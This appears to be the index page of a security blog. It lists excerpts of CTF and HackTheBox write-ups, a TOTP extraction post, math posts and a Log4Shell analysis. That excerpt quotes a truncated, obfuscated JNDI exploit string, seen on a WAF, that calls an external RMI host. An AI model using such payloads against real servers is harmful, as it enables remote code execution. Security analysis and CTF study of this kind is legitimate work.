Analysis The following user agent was identified on a WAF, trying to exploit the new Log4Shell vulnerability (CVE-2021-44228) on Log4J: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://188.16...
HackTheBox - Spider - Write-Up
Box Statistics Name Spider Release Date May 29, 2021 Operating System Linux Diffic...
HackTheBox - Forge - Write-Up
Box Statistics Name Forge Release Date September 11, 2021 Operating System Linux D...
HackTheBox - ScriptKiddie - Write-Up
Box Statistics Name ScriptKiddie Release Date February 6, 2021 Operating System Linux ...
Extracting TOTP code from Microsoft Authenticator (root required)
Introduction I wanted to flash my android phone that would mean that I will lose my OTP codes for my email because Microsoft Authenticator does not support local backups. I searched around the int...
HackTheBox - Delivery - Write-Up
Box Statistics Name Delivery Release Date January 9, 2021 Operating System Linux D...
Solving Linear Equations using Matrices and Python
Introduction This post was inspired from a challenge on Cyber Apocalypse 2021, Alien Camp. In this challenge you were given a series of linear equations that consist of emojis, and your task was t...
Matrix Algebra Basics
What is a Matrix A matrix \(\pmb{A} \in \mathbb{N}^{m \times n}\) is an array of elements of a field \(\{ k \in \mathbb{K}^{m \times n} | m,n \in \mathbb{N} \}\), \(m\) being the rows and \(n\) be...
XSS Cookie Grab - Cyber Apocalypse 2021 Write-Up
The challenge comes with the source code of the docker container. It is a flask app that has an API on /api/submit that checks if the variable url of a POST request starts with http:// or https://...
Python Jail Escape - Cyber Apocalypse 2021 Write-Up
Input as a Service Initial Assessment The challenge provides a remote IP and a port to connect. After connecting with nc we get the following prompt: 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9...